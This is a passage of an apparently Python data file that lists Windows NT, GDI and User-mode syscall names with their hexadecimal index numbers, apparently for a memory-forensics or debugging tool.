0xfd\n 'NtSuspendThread', # 0xfe\n 'NtSystemDebugControl', # 0xff\n 'NtTerminateJobObject', # 0x100\n 'NtTerminateProcess', # 0x101\n 'NtTerminateThread', # 0x102\n 'NtTestAlert', # 0x103\n 'NtTraceEvent', # 0x104\n 'NtTranslateFilePath', # 0x105\n 'NtUnloadDriver', # 0x106\n 'NtUnloadKey', # 0x107\n 'NtUnloadKeyEx', # 0x108\n 'NtUnlockFile', # 0x109\n 'NtUnlockVirtualMemory', # 0x10a\n 'NtUnmapViewOfSection', # 0x10b\n 'NtVdmControl', # 0x10c\n 'NtWaitForDebugEvent', # 0x10d\n 'NtWaitForMultipleObjects', # 0x10e\n 'NtWaitForSingleObject', # 0x10f\n 'NtWaitHighEventPair', # 0x110\n 'NtWaitLowEventPair', # 0x111\n 'NtWriteFile', # 0x112\n 'NtWriteFileGather', # 0x113\n 'NtWriteRequestData', # 0x114\n 'NtWriteVirtualMemory', # 0x115\n 'NtYieldExecution', # 0x116\n 'NtCreateKeyedEvent', # 0x117\n 'NtOpenKeyedEvent', # 0x118\n 'NtReleaseKeyedEvent', # 0x119\n 'NtWaitForKeyedEvent', # 0x11a\n 'NtQueryPortInformationProcess', # 0x11b\n ],\n [\n 'NtGdiAbortDoc', # 0x0\n 'NtGdiAbortPath', # 0x1\n 'NtGdiAddFontResourceW', # 0x2\n 'NtGdiAddRemoteFontToDC', # 0x3\n 'NtGdiAddFontMemResourceEx', # 0x4\n 'NtGdiRemoveMergeFont', # 0x5\n 'NtGdiAddRemoteMMInstanceToDC', # 0x6\n 'NtGdiAlphaBlend', # 0x7\n 'NtGdiAngleArc', # 0x8\n 'NtGdiAnyLinkedFonts', # 0x9\n 'NtGdiFontIsLinked', # 0xa\n 'NtGdiArcInternal', # 0xb\n 'NtGdiBeginPath', # 0xc\n 'NtGdiBitBlt', # 0xd\n 'NtGdiCancelDC', # 0xe\n 'NtGdiCheckBitmapBits', # 0xf\n 'NtGdiCloseFigure', # 0x10\n 'NtGdiClearBitmapAttributes', # 0x11\n 'NtGdiClearBrushAttributes', # 0x12\n 'NtGdiColorCorrectPalette', # 0x13\n 'NtGdiCombineRgn', # 0x14\n 'NtGdiCombineTransform', # 0x15\n 'NtGdiComputeXformCoefficients', # 0x16\n 'NtGdiConsoleTextOut', # 0x17\n 'NtGdiConvertMetafileRect', # 0x18\n 'NtGdiCreateBitmap', # 0x19\n 'NtGdiCreateClientObj', # 0x1a\n 'NtGdiCreateColorSpace', # 0x1b\n 'NtGdiCreateColorTransform', # 0x1c\n 'NtGdiCreateCompatibleBitmap', # 0x1d\n 'NtGdiCreateCompatibleDC', # 0x1e\n 'NtGdiCreateDIBBrush', # 0x1f\n 'NtGdiCreateDIBitmapInternal', # 0x20\n 'NtGdiCreateDIBSection', # 0x21\n 'NtGdiCreateEllipticRgn', # 0x22\n 'NtGdiCreateHalftonePalette', # 0x23\n 'NtGdiCreateHatchBrushInternal', # 0x24\n 'NtGdiCreateMetafileDC', # 0x25\n 'NtGdiCreatePaletteInternal', # 0x26\n 'NtGdiCreatePatternBrushInternal', # 0x27\n 'NtGdiCreatePen', # 0x28\n 'NtGdiCreateRectRgn', # 0x29\n 'NtGdiCreateRoundRectRgn', # 0x2a\n 'NtGdiCreateServerMetaFile', # 0x2b\n 'NtGdiCreateSolidBrush', # 0x2c\n 'NtGdiD3dContextCreate', # 0x2d\n 'NtGdiD3dContextDestroy', # 0x2e\n 'NtGdiD3dContextDestroyAll', # 0x2f\n 'NtGdiD3dValidateTextureStageState', # 0x30\n 'NtGdiD3dDrawPrimitives2', # 0x31\n 'NtGdiDdGetDriverState', # 0x32\n 'NtGdiDdAddAttachedSurface', # 0x33\n 'NtGdiDdAlphaBlt', # 0x34\n 'NtGdiDdAttachSurface', # 0x35\n 'NtGdiDdBeginMoCompFrame', # 0x36\n 'NtGdiDdBlt', # 0x37\n 'NtGdiDdCanCreateSurface', # 0x38\n 'NtGdiDdCanCreateD3DBuffer', # 0x39\n 'NtGdiDdColorControl', # 0x3a\n 'NtGdiDdCreateDirectDrawObject', # 0x3b\n 'NtGdiDdCreateSurface', # 0x3c\n 'NtGdiDdCreateD3DBuffer', # 0x3d\n 'NtGdiDdCreateMoComp', # 0x3e\n 'NtGdiDdCreateSurfaceObject', # 0x3f\n 'NtGdiDdDeleteDirectDrawObject', # 0x40\n 'NtGdiDdDeleteSurfaceObject', # 0x41\n 'NtGdiDdDestroyMoComp', # 0x42\n 'NtGdiDdDestroySurface', # 0x43\n 'NtGdiDdDestroyD3DBuffer', # 0x44\n 'NtGdiDdEndMoCompFrame', # 0x45\n 'NtGdiDdFlip', # 0x46\n 'NtGdiDdFlipToGDISurface', # 0x47\n 'NtGdiDdGetAvailDriverMemory', # 0x48\n 'NtGdiDdGetBltStatus', # 0x49\n 'NtGdiDdGetDC', # 0x4a\n 'NtGdiDdGetDriverInfo', # 0x4b\n 'NtGdiDdGetDxHandle', # 0x4c\n 'NtGdiDdGetFlipStatus', # 0x4d\n 'NtGdiDdGetInternalMoCompInfo', # 0x4e\n 'NtGdiDdGetMoCompBuffInfo', # 0x4f\n 'NtGdiDdGetMoCompGuids', # 0x50\n 'NtGdiDdGetMoCompFormats', # 0x51\n 'NtGdiDdGetScanLine', # 0x52\n 'NtGdiDdLock', # 0x53\n 'NtGdiDdLockD3D', # 0x54\n 'NtGdiDdQueryDirectDrawObject', # 0x55\n 'NtGdiDdQueryMoCompStatus', # 0x56\n 'NtGdiDdReenableDirectDrawObject', # 0x57\n 'NtGdiDdReleaseDC', # 0x58\n 'NtGdiDdRenderMoComp', # 0x59\n 'NtGdiDdResetVisrgn', # 0x5a\n 'NtGdiDdSetColorKey', # 0x5b\n 'NtGdiDdSetExclusiveMode', # 0x5c\n 'NtGdiDdSetGammaRamp', # 0x5d\n 'NtGdiDdCreateSurfaceEx', # 0x5e\n 'NtGdiDdSetOverlayPosition', # 0x5f\n 'NtGdiDdUnattachSurface', # 0x60\n 'NtGdiDdUnlock', # 0x61\n 'NtGdiDdUnlockD3D', # 0x62\n 'NtGdiDdUpdateOverlay', # 0x63\n 'NtGdiDdWaitForVerticalBlank', # 0x64\n 'NtGdiDvpCanCreateVideoPort', # 0x65\n 'NtGdiDvpColorControl', # 0x66\n 'NtGdiDvpCreateVideoPort', # 0x67\n 'NtGdiDvpDestroyVideoPort', # 0x68\n 'NtGdiDvpFlipVideoPort', # 0x69\n 'NtGdiDvpGetVideoPortBandwidth', # 0x6a\n 'NtGdiDvpGetVideoPortField', # 0x6b\n 'NtGdiDvpGetVideoPortFlipStatus', # 0x6c\n 'NtGdiDvpGetVideoPortInputFormats', # 0x6d\n 'NtGdiDvpGetVideoPortLine', # 0x6e\n 'NtGdiDvpGetVideoPortOutputFormats', # 0x6f\n 'NtGdiDvpGetVideoPortConnectInfo', # 0x70\n 'NtGdiDvpGetVideoSignalStatus', # 0x71\n 'NtGdiDvpUpdateVideoPort', # 0x72\n 'NtGdiDvpWaitForVideoPortSync', # 0x73\n 'NtGdiDvpAcquireNotification', # 0x74\n 'NtGdiDvpReleaseNotification', # 0x75\n 'NtGdiDxgGenericThunk', # 0x76\n 'NtGdiDeleteClientObj', # 0x77\n 'NtGdiDeleteColorSpace', # 0x78\n 'NtGdiDeleteColorTransform', # 0x79\n 'NtGdiDeleteObjectApp', # 0x7a\n 'NtGdiDescribePixelFormat', # 0x7b\n 'NtGdiGetPerBandInfo', # 0x7c\n 'NtGdiDoBanding', # 0x7d\n 'NtGdiDoPalette', # 0x7e\n 'NtGdiDrawEscape', # 0x7f\n 'NtGdiEllipse', # 0x80\n 'NtGdiEnableEudc', # 0x81\n 'NtGdiEndDoc', # 0x82\n 'NtGdiEndPage', # 0x83\n 'NtGdiEndPath', # 0x84\n 'NtGdiEnumFontChunk', # 0x85\n 'NtGdiEnumFontClose', # 0x86\n 'NtGdiEnumFontOpen', # 0x87\n 'NtGdiEnumObjects', # 0x88\n 'NtGdiEqualRgn', # 0x89\n 'NtGdiEudcLoadUnloadLink', # 0x8a\n 'NtGdiExcludeClipRect', # 0x8b\n 'NtGdiExtCreatePen', # 0x8c\n 'NtGdiExtCreateRegion', # 0x8d\n 'NtGdiExtEscape', # 0x8e\n 'NtGdiExtFloodFill', # 0x8f\n 'NtGdiExtGetObjectW', # 0x90\n 'NtGdiExtSelectClipRgn', # 0x91\n 'NtGdiExtTextOutW', # 0x92\n 'NtGdiFillPath', # 0x93\n 'NtGdiFillRgn', # 0x94\n 'NtGdiFlattenPath', # 0x95\n 'NtGdiFlushUserBatch', # 0x96\n 'NtGdiFlush', # 0x97\n 'NtGdiForceUFIMapping', # 0x98\n 'NtGdiFrameRgn', # 0x99\n 'NtGdiFullscreenControl', # 0x9a\n 'NtGdiGetAndSetDCDword', # 0x9b\n 'NtGdiGetAppClipBox', # 0x9c\n 'NtGdiGetBitmapBits', # 0x9d\n 'NtGdiGetBitmapDimension', # 0x9e\n 'NtGdiGetBoundsRect', # 0x9f\n 'NtGdiGetCharABCWidthsW', # 0xa0\n 'NtGdiGetCharacterPlacementW', # 0xa1\n 'NtGdiGetCharSet', # 0xa2\n 'NtGdiGetCharWidthW', # 0xa3\n 'NtGdiGetCharWidthInfo', # 0xa4\n 'NtGdiGetColorAdjustment', # 0xa5\n 'NtGdiGetColorSpaceforBitmap', # 0xa6\n 'NtGdiGetDCDword', # 0xa7\n 'NtGdiGetDCforBitmap', # 0xa8\n 'NtGdiGetDCObject', # 0xa9\n 'NtGdiGetDCPoint', # 0xaa\n 'NtGdiGetDeviceCaps', # 0xab\n 'NtGdiGetDeviceGammaRamp', # 0xac\n 'NtGdiGetDeviceCapsAll', # 0xad\n 'NtGdiGetDIBitsInternal', # 0xae\n 'NtGdiGetETM', # 0xaf\n 'NtGdiGetEudcTimeStampEx', # 0xb0\n 'NtGdiGetFontData', # 0xb1\n 'NtGdiGetFontResourceInfoInternalW', # 0xb2\n 'NtGdiGetGlyphIndicesW', # 0xb3\n 'NtGdiGetGlyphIndicesWInternal', # 0xb4\n 'NtGdiGetGlyphOutline', # 0xb5\n 'NtGdiGetKerningPairs', # 0xb6\n 'NtGdiGetLinkedUFIs', # 0xb7\n 'NtGdiGetMiterLimit', # 0xb8\n 'NtGdiGetMonitorID', # 0xb9\n 'NtGdiGetNearestColor', # 0xba\n 'NtGdiGetNearestPaletteIndex', # 0xbb\n 'NtGdiGetObjectBitmapHandle', # 0xbc\n 'NtGdiGetOutlineTextMetricsInternalW', # 0xbd\n 'NtGdiGetPath', # 0xbe\n 'NtGdiGetPixel', # 0xbf\n 'NtGdiGetRandomRgn', # 0xc0\n 'NtGdiGetRasterizerCaps', # 0xc1\n 'NtGdiGetRealizationInfo', # 0xc2\n 'NtGdiGetRegionData', # 0xc3\n 'NtGdiGetRgnBox', # 0xc4\n 'NtGdiGetServerMetaFileBits', # 0xc5\n 'NtGdiGetSpoolMessage', # 0xc6\n 'NtGdiGetStats', # 0xc7\n 'NtGdiGetStockObject', # 0xc8\n 'NtGdiGetStringBitmapW', # 0xc9\n 'NtGdiGetSystemPaletteUse', # 0xca\n 'NtGdiGetTextCharsetInfo', # 0xcb\n 'NtGdiGetTextExtent', # 0xcc\n 'NtGdiGetTextExtentExW', # 0xcd\n 'NtGdiGetTextFaceW', # 0xce\n 'NtGdiGetTextMetricsW', # 0xcf\n 'NtGdiGetTransform', # 0xd0\n 'NtGdiGetUFI', # 0xd1\n 'NtGdiGetEmbUFI', # 0xd2\n 'NtGdiGetUFIPathname', # 0xd3\n 'NtGdiGetEmbedFonts', # 0xd4\n 'NtGdiChangeGhostFont', # 0xd5\n 'NtGdiAddEmbFontToDC', # 0xd6\n 'NtGdiGetFontUnicodeRanges', # 0xd7\n 'NtGdiGetWidthTable', # 0xd8\n 'NtGdiGradientFill', # 0xd9\n 'NtGdiHfontCreate', # 0xda\n 'NtGdiIcmBrushInfo', # 0xdb\n 'NtGdiInit', # 0xdc\n 'NtGdiInitSpool', # 0xdd\n 'NtGdiIntersectClipRect', # 0xde\n 'NtGdiInvertRgn', # 0xdf\n 'NtGdiLineTo', # 0xe0\n 'NtGdiMakeFontDir', # 0xe1\n 'NtGdiMakeInfoDC', # 0xe2\n 'NtGdiMaskBlt', # 0xe3\n 'NtGdiModifyWorldTransform', # 0xe4\n 'NtGdiMonoBitmap', # 0xe5\n 'NtGdiMoveTo', # 0xe6\n 'NtGdiOffsetClipRgn', # 0xe7\n 'NtGdiOffsetRgn', # 0xe8\n 'NtGdiOpenDCW', # 0xe9\n 'NtGdiPatBlt', # 0xea\n 'NtGdiPolyPatBlt', # 0xeb\n 'NtGdiPathToRegion', # 0xec\n 'NtGdiPlgBlt', # 0xed\n 'NtGdiPolyDraw', # 0xee\n 'NtGdiPolyPolyDraw', # 0xef\n 'NtGdiPolyTextOutW', # 0xf0\n 'NtGdiPtInRegion', # 0xf1\n 'NtGdiPtVisible', # 0xf2\n 'NtGdiQueryFonts', # 0xf3\n 'NtGdiQueryFontAssocInfo', # 0xf4\n 'NtGdiRectangle', # 0xf5\n 'NtGdiRectInRegion', # 0xf6\n 'NtGdiRectVisible', # 0xf7\n 'NtGdiRemoveFontResourceW', # 0xf8\n 'NtGdiRemoveFontMemResourceEx', # 0xf9\n 'NtGdiResetDC', # 0xfa\n 'NtGdiResizePalette', # 0xfb\n 'NtGdiRestoreDC', # 0xfc\n 'NtGdiRoundRect', # 0xfd\n 'NtGdiSaveDC', # 0xfe\n 'NtGdiScaleViewportExtEx', # 0xff\n 'NtGdiScaleWindowExtEx', # 0x100\n 'NtGdiSelectBitmap', # 0x101\n 'NtGdiSelectBrush', # 0x102\n 'NtGdiSelectClipPath', # 0x103\n 'NtGdiSelectFont', # 0x104\n 'NtGdiSelectPen', # 0x105\n 'NtGdiSetBitmapAttributes', # 0x106\n 'NtGdiSetBitmapBits', # 0x107\n 'NtGdiSetBitmapDimension', # 0x108\n 'NtGdiSetBoundsRect', # 0x109\n 'NtGdiSetBrushAttributes', # 0x10a\n 'NtGdiSetBrushOrg', # 0x10b\n 'NtGdiSetColorAdjustment', # 0x10c\n 'NtGdiSetColorSpace', # 0x10d\n 'NtGdiSetDeviceGammaRamp', # 0x10e\n 'NtGdiSetDIBitsToDeviceInternal', # 0x10f\n 'NtGdiSetFontEnumeration', # 0x110\n 'NtGdiSetFontXform', # 0x111\n 'NtGdiSetIcmMode', # 0x112\n 'NtGdiSetLinkedUFIs', # 0x113\n 'NtGdiSetMagicColors', # 0x114\n 'NtGdiSetMetaRgn', # 0x115\n 'NtGdiSetMiterLimit', # 0x116\n 'NtGdiGetDeviceWidth', # 0x117\n 'NtGdiMirrorWindowOrg', # 0x118\n 'NtGdiSetLayout', # 0x119\n 'NtGdiSetPixel', # 0x11a\n 'NtGdiSetPixelFormat', # 0x11b\n 'NtGdiSetRectRgn', # 0x11c\n 'NtGdiSetSystemPaletteUse', # 0x11d\n 'NtGdiSetTextJustification', # 0x11e\n 'NtGdiSetupPublicCFONT', # 0x11f\n 'NtGdiSetVirtualResolution', # 0x120\n 'NtGdiSetSizeDevice', # 0x121\n 'NtGdiStartDoc', # 0x122\n 'NtGdiStartPage', # 0x123\n 'NtGdiStretchBlt', # 0x124\n 'NtGdiStretchDIBitsInternal', # 0x125\n 'NtGdiStrokeAndFillPath', # 0x126\n 'NtGdiStrokePath', # 0x127\n 'NtGdiSwapBuffers', # 0x128\n 'NtGdiTransformPoints', # 0x129\n 'NtGdiTransparentBlt', # 0x12a\n 'NtGdiUnloadPrinterDriver', # 0x12b\n 'NtGdiUnmapMemFont', # 0x12c\n 'NtGdiUnrealizeObject', # 0x12d\n 'NtGdiUpdateColors', # 0x12e\n 'NtGdiWidenPath', # 0x12f\n 'NtUserActivateKeyboardLayout', # 0x130\n 'NtUserAlterWindowStyle', # 0x131\n 'NtUserAssociateInputContext', # 0x132\n 'NtUserAttachThreadInput', # 0x133\n 'NtUserBeginPaint', # 0x134\n 'NtUserBitBltSysBmp', # 0x135\n 'NtUserBlockInput', # 0x136\n 'NtUserBuildHimcList', # 0x137\n 'NtUserBuildHwndList', # 0x138\n 'NtUserBuildNameList', # 0x139\n 'NtUserBuildPropList', # 0x13a\n 'NtUserCallHwnd', # 0x13b\n 'NtUserCallHwndLock', # 0x13c\n 'NtUserCallHwndOpt', # 0x13d\n 'NtUserCallHwndParam', # 0x13e\n 'NtUserCallHwndParamLock', # 0x13f\n 'NtUserCallMsgFilter', # 0x140\n 'NtUserCallNextHookEx', # 0x141\n 'NtUserCallNoParam', # 0x142\n 'NtUserCallOneParam', # 0x143\n 'NtUserCallTwoParam', # 0x144\n 'NtUserChangeClipboardChain', # 0x145\n 'NtUserChangeDisplaySettings', # 0x146\n 'NtUserCheckImeHotKey', # 0x147\n 'NtUserCheckMenuItem', # 0x148\n 'NtUserChildWindowFromPointEx', # 0x149\n 'NtUserClipCursor', # 0x14a\n 'NtUserCloseClipboard', # 0x14b\n 'NtUserCloseDesktop', # 0x14c\n 'NtUserCloseWindowStation', # 0x14d\n 'NtUserConsoleControl', # 0x14e\n 'NtUserConvertMemHandle', # 0x14f\n 'NtUserCopyAcceleratorTable', # 0x150\n 'NtUserCountClipboardFormats', # 0x151\n 'NtUserCreateAcceleratorTable', # 0x152\n 'NtUserCreateCaret', # 0x153\n 'NtUserCreateDesktop', # 0x154\n 'NtUserCreateInputContext', # 0x155\n 'NtUserCreateLocalMemHandle', # 0x156\n 'NtUserCreateWindowEx', # 0x157\n 'NtUserCreateWindowStation', # 0x158\n 'NtUserDdeGetQualityOfService', # 0x159\n 'NtUserDdeInitialize', # 0x15a\n 'NtUserDdeSetQualityOfService', # 0x15b\n 'NtUserDeferWindowPos', # 0x15c\n 'NtUserDefSetText', # 0x15d\n 'NtUserDeleteMenu', # 0x15e\n 'NtUserDestroyAcceleratorTable', # 0x15f\n 'NtUserDestroyCursor', # 0x160\n 'NtUserDestroyInputContext', # 0x161\n 'NtUserDestroyMenu', # 0x162\n 'NtUserDestroyWindow', # 0x163\n 'NtUserDisableThreadIme', # 0x164\n 'NtUserDispatchMessage', # 0x165\n 'NtUserDragDetect', # 0x166\n 'NtUserDragObject', # 0x167\n 'NtUserDrawAnimatedRects', # 0x168\n 'NtUserDrawCaption', # 0x169\n 'NtUserDrawCaptionTemp', # 0x16a\n 'NtUserDrawIconEx', # 0x16b\n 'NtUserDrawMenuBarTemp', # 0x16c\n 'NtUserEmptyClipboard', # 0x16d\n 'NtUserEnableMenuItem', # 0x16e\n 'NtUserEnableScrollBar', # 0x16f\n 'NtUserEndDeferWindowPosEx', # 0x170\n 'NtUserEndMenu', # 0x171\n 'NtUserEndPaint', # 0x172\n 'NtUserEnumDisplayDevices', # 0x173\n 'NtUserEnumDisplayMonitors', # 0x174\n 'NtUserEnumDisplaySettings', # 0x175\n 'NtUserEvent', # 0x176\n 'NtUserExcludeUpdateRgn', # 0x177\n 'NtUserFillWindow', # 0x178\n 'NtUserFindExistingCursorIcon', # 0x179\n 'NtUserFindWindowEx', # 0x17a\n 'NtUserFlashWindowEx', # 0x17b\n 'NtUserGetAltTabInfo', # 0x17c\n 'NtUserGetAncestor', # 0x17d\n 'NtUserGetAppImeLevel', # 0x17e\n 'NtUserGetAsyncKeyState', # 0x17f\n 'NtUserGetAtomName', # 0x180\n 'NtUserGetCaretBlinkTime', # 0x181\n 'NtUserGetCaretPos', # 0x182\n 'NtUserGetClassInfo', # 0x183\n 'NtUserGetClassName', # 0x184\n 'NtUserGetClipboardData', # 0x185\n 'NtUserGetClipboardFormatName', # 0x186\n 'NtUserGetClipboardOwner', # 0x187\n 'NtUserGetClipboardSequenceNumber', # 0x188\n 'NtUserGetClipboardViewer', # 0x189\n 'NtUserGetClipCursor', # 0x18a\n 'NtUserGetComboBoxInfo', # 0x18b\n 'NtUserGetControlBrush', # 0x18c\n 'NtUserGetControlColor', # 0x18d\n 'NtUserGetCPD', # 0x18e\n 'NtUserGetCursorFrameInfo', # 0x18f\n 'NtUserGetCursorInfo', # 0x190\n 'NtUserGetDC', # 0x191\n 'NtUserGetDCEx', # 0x192\n 'NtUserGetDoubleClickTime', # 0x193\n 'NtUserGetForegroundWindow', # 0x194\n 'NtUserGetGuiResources', # 0x195\n 'NtUserGetGUIThreadInfo', # 0x196\n 'NtUserGetIconInfo', # 0x197\n 'NtUserGetIconSize', # 0x198\n 'NtUserGetImeHotKey', # 0x199\n 'NtUserGetImeInfoEx', # 0x19a\n 'NtUserGetInternalWindowPos', # 0x19b\n 'NtUserGetKeyboardLayoutList', # 0x19c\n 'NtUserGetKeyboardLayoutName', # 0x19d\n 'NtUserGetKeyboardState', # 0x19e\n 'NtUserGetKeyNameText', # 0x19f\n 'NtUserGetKeyState', # 0x1a0\n 'NtUserGetListBoxInfo', # 0x1a1\n 'NtUserGetMenuBarInfo', # 0x1a2\n 'NtUserGetMenuIndex', # 0x1a3\n 'NtUserGetMenuItemRect', # 0x1a4\n 'NtUserGetMessage', # 0x1a5\n 'NtUserGetMouseMovePointsEx', # 0x1a6\n 'NtUserGetObjectInformation', # 0x1a7\n 'NtUserGetOpenClipboardWindow', # 0x1a8\n 'NtUserGetPriorityClipboardFormat', # 0x1a9\n 'NtUserGetProcessWindowStation', # 0x1aa\n 'NtUserGetRawInputBuffer', # 0x1ab\n 'NtUserGetRawInputData', # 0x1ac\n 'NtUserGetRawInputDeviceInfo', # 0x1ad\n 'NtUserGetRawInputDeviceList', # 0x1ae\n 'NtUserGetRegisteredRawInputDevices', # 0x1af\n 'NtUserGetScrollBarInfo', # 0x1b0\n 'NtUserGetSystemMenu', # 0x1b1\n 'NtUserGetThreadDesktop', # 0x1b2\n 'NtUserGetThreadState', # 0x1b3\n 'NtUserGetTitleBarInfo', # 0x1b4\n 'NtUserGetUpdateRect', # 0x1b5\n 'NtUserGetUpdateRgn', # 0x1b6\n 'NtUserGetWindowDC', # 0x1b7\n 'NtUserGetWindowPlacement', # 0x1b8\n 'NtUserGetWOWClass', # 0x1b9\n 'NtUserHardErrorControl', # 0x1ba\n 'NtUserHideCaret', # 0x1bb\n 'NtUserHiliteMenuItem', # 0x1bc\n 'NtUserImpersonateDdeClientWindow', # 0x1bd\n 'NtUserInitialize', # 0x1be\n 'NtUserInitializeClientPfnArrays', # 0x1bf\n 'NtUserInitTask', # 0x1c0\n 'NtUserInternalGetWindowText', # 0x1c1\n 'NtUserInvalidateRect', # 0x1c2\n 'NtUserInvalidateRgn', # 0x1c3\n 'NtUserIsClipboardFormatAvailable', # 0x1c4\n 'NtUserKillTimer', # 0x1c5\n 'NtUserLoadKeyboardLayoutEx', # 0x1c6\n 'NtUserLockWindowStation', # 0x1c7\n 'NtUserLockWindowUpdate', # 0x1c8\n 'NtUserLockWorkStation', # 0x1c9\n 'NtUserMapVirtualKeyEx', # 0x1ca\n 'NtUserMenuItemFromPoint', # 0x1cb\n 'NtUserMessageCall', # 0x1cc\n 'NtUserMinMaximize', # 0x1cd\n 'NtUserMNDragLeave', # 0x1ce\n 'NtUserMNDragOver', # 0x1cf\n 'NtUserModifyUserStartupInfoFlags', # 0x1d0\n 'NtUserMoveWindow', # 0x1d1\n 'NtUserNotifyIMEStatus', # 0x1d2\n 'NtUserNotifyProcessCreate', # 0x1d3\n 'NtUserNotifyWinEvent', # 0x1d4\n 'NtUserOpenClipboard', # 0x1d5\n 'NtUserOpenDesktop', # 0x1d6\n 'NtUserOpenInputDesktop', # 0x1d7\n 'NtUserOpenWindowStation', # 0x1d8\n 'NtUserPaintDesktop', # 0x1d9\n 'NtUserPeekMessage', # 0x1da\n 'NtUserPostMessage', # 0x1db\n 'NtUserPostThreadMessage', # 0x1dc\n 'NtUserPrintWindow', # 0x1dd\n 'NtUserProcessConnect', # 0x1de\n 'NtUserQueryInformationThread', # 0x1df\n 'NtUserQueryInputContext', # 0x1e0\n 'NtUserQuerySendMessage', # 0x1e1\n 'NtUserQueryUserCounters', # 0x1e2\n 'NtUserQueryWindow', # 0x1e3\n 'NtUserRealChildWindowFromPoint', # 0x1e4\n 'NtUserRealInternalGetMessage', # 0x1e5\n 'NtUserRealWaitMessageEx', # 0x1e6\n 'NtUserRedrawWindow', # 0x1e7\n 'NtUserRegisterClassExWOW', # 0x1e8\n 'NtUserRegisterUserApiHook', # 0x1e9\n 'NtUserRegisterHotKey', # 0x1ea\n 'NtUserRegisterRawInputDevices', # 0x1eb\n 'NtUserRegisterTasklist', # 0x1ec\n 'NtUserRegisterWindowMessage', # 0x1ed\n 'NtUserRemoveMenu', # 0x1ee\n 'NtUserRemoveProp', # 0x1ef\n 'NtUserResolveDesktop', # 0x1f0\n 'NtUserResolveDesktopForWOW', # 0x1f1\n 'NtUserSBGetParms', # 0x1f2\n 'NtUserScrollDC', # 0x1f3\n 'NtUserScrollWindowEx', # 0x1f4\n 'NtUserSelectPalette', # 0x1f5\n 'NtUserSendInput', # 0x1f6\n 'NtUserSetActiveWindow', # 0x1f7\n 'NtUserSetAppImeLevel', # 0x1f8\n 'NtUserSetCapture', # 0x1f9\n 'NtUserSetClassLong', # 0x1fa\n 'NtUserSetClassWord', # 0x1fb\n 'NtUserSetClipboardData', # 0x1fc\n 'NtUserSetClipboardViewer', # 0x1fd\n 'NtUserSetConsoleReserveKeys', # 0x1fe\n 'NtUserSetCursor', # 0x1ff\n 'NtUserSetCursorContents', # 0x200\n 'NtUserSetCursorIconData', # 0x201\n 'NtUserSetDbgTag', # 0x202\n 'NtUserSetFocus', # 0x203\n 'NtUserSetImeHotKey', # 0x204\n 'NtUserSetImeInfoEx', # 0x205\n 'NtUserSetImeOwnerWindow', # 0x206\n 'NtUserSetInformationProcess', # 0x207\n 'NtUserSetInformationThread', # 0x208\n 'NtUserSetInternalWindowPos', # 0x209\n 'NtUserSetKeyboardState', # 0x20a\n 'NtUserSetLogonNotifyWindow', # 0x20b\n 'NtUserSetMenu', # 0x20c\n 'NtUserSetMenuContextHelpId', # 0x20d\n 'NtUserSetMenuDefaultItem', # 0x20e\n 'NtUserSetMenuFlagRtoL', # 0x20f\n 'NtUserSetObjectInformation', # 0x210\n 'NtUserSetParent', # 0x211\n 'NtUserSetProcessWindowStation', # 0x212\n 'NtUserSetProp', # 0x213\n 'NtUserSetRipFlags', # 0x214\n 'NtUserSetScrollInfo', # 0x215\n 'NtUserSetShellWindowEx', # 0x216\n 'NtUserSetSysColors', # 0x217\n 'NtUserSetSystemCursor', # 0x218\n 'NtUserSetSystemMenu', # 0x219\n 'NtUserSetSystemTimer', # 0x21a\n 'NtUserSetThreadDesktop', # 0x21b\n 'NtUserSetThreadLayoutHandles', # 0x21c\n 'NtUserSetThreadState', # 0x21d\n 'NtUserSetTimer', # 0x21e\n 'NtUserSetWindowFNID', # 0x21f\n 'NtUserSetWindowLong', # 0x220\n 'NtUserSetWindowPlacement', # 0x221\n 'NtUserSetWindowPos', # 0x222\n 'NtUserSetWindowRgn', # 0x223\n 'NtUserSetWindowsHookAW', # 0x224\n 'NtUserSetWindowsHookEx', # 0x225\n 'NtUserSetWindowStationUser', # 0x226\n 'NtUserSetWindowWord', # 0x227\n 'NtUserSetWinEventHook', # 0x228\n 'NtUserShowCaret', # 0x229\n 'NtUserShowScrollBar', # 0x22a\n 'NtUserShowWindow', # 0x22b\n 'NtUserShowWindowAsync', # 0x22c\n 'NtUserSoundSentry', # 0x22d\n 'NtUserSwitchDesktop', # 0x22e\n 'NtUserSystemParametersInfo', # 0x22f\n 'NtUserTestForInteractiveUser', # 0x230\n 'NtUserThunkedMenuInfo', # 0x231\n 'NtUserThunkedMenuItemInfo', # 0x232\n 'NtUserToUnicodeEx', # 0x233\n 'NtUserTrackMouseEvent', # 0x234\n 'NtUserTrackPopupMenuEx', # 0x235\n 'NtUserCalcMenuBar', # 0x236\n 'NtUserPaintMenuBar', # 0x237\n 'NtUserTranslateAccelerator', # 0x238\n 'NtUserTranslateMessage', # 0x239\n 'NtUserUnhookWindowsHookEx', # 0x23a\n 'NtUserUnhookWinEvent', # 0x23b\n 'NtUserUnloadKeyboardLayout', # 0x23c\n 'NtUserUnlockWindowStation', # 0x23d\n 'NtUserUnregisterClass', # 0x23e\n 'NtUserUnregisterUserApiHook', # 0x23f\n 'NtUserUnregisterHotKey', # 0x240\n 'NtUserUpdateInputContext', # 0x241\n 'NtUserUpdateInstance', # 0x242\n 'NtUserUpdateLayeredWindow', # 0x243\n 'NtUserGetLayeredWindowAttributes', # 0x244\n 'NtUserSetLayeredWindowAttributes', # 0x245\n 'NtUserUpdatePerUserSystemParameters', # 0x246\n 'NtUserUserHandleGrantAccess', # 0x247\n 'NtUserValidateHandleSecure', # 0x248\n 'NtUserValidateRect', # 0x249\n 'NtUserValidateTimerCallback', # 0x24a\n 'NtUserVkKeyScanEx', # 0x24b\n 'NtUserWaitForInputIdle', # 0x24c\n 'NtUserWaitForMsgAndEvent', # 0x24d\n 'NtUserWaitMessage', # 0x24e\n 'NtUserWin32PoolAllocationStats', # 0x24f\n 'NtUserWindowFromPoint', # 0x250\n 'NtUserYieldTask', # 0x251\n 'NtUserRemoteConnect', # 0x252\n 'NtUserRemoteRedrawRectangle', # 0x253\n 'NtUserRemoteRedrawScreen', # 0x254\n 'NtUserRemoteStopScreenUpdates', # 0x255\n 'NtUserCtxDisplayIOCtl', # 0x256\n 'NtGdiEngAssociateSurface', # 0x257\n 'NtGdiEngCreateBitmap', # 0x258\n 'NtGdiEngCreateDeviceSurface', # 0x259\n 'NtGdiEngCreateDeviceBitmap', # 0x25a\n 'NtGdiEngCreatePalette', # 0x25b\n 'NtGdiEngComputeGlyphSet', # 0x25c\n 'NtGdiEngCopyBits', # 0x25d\n 'NtGdiEngDeletePalette', # 0x25e\n 'NtGdiEngDeleteSurface', # 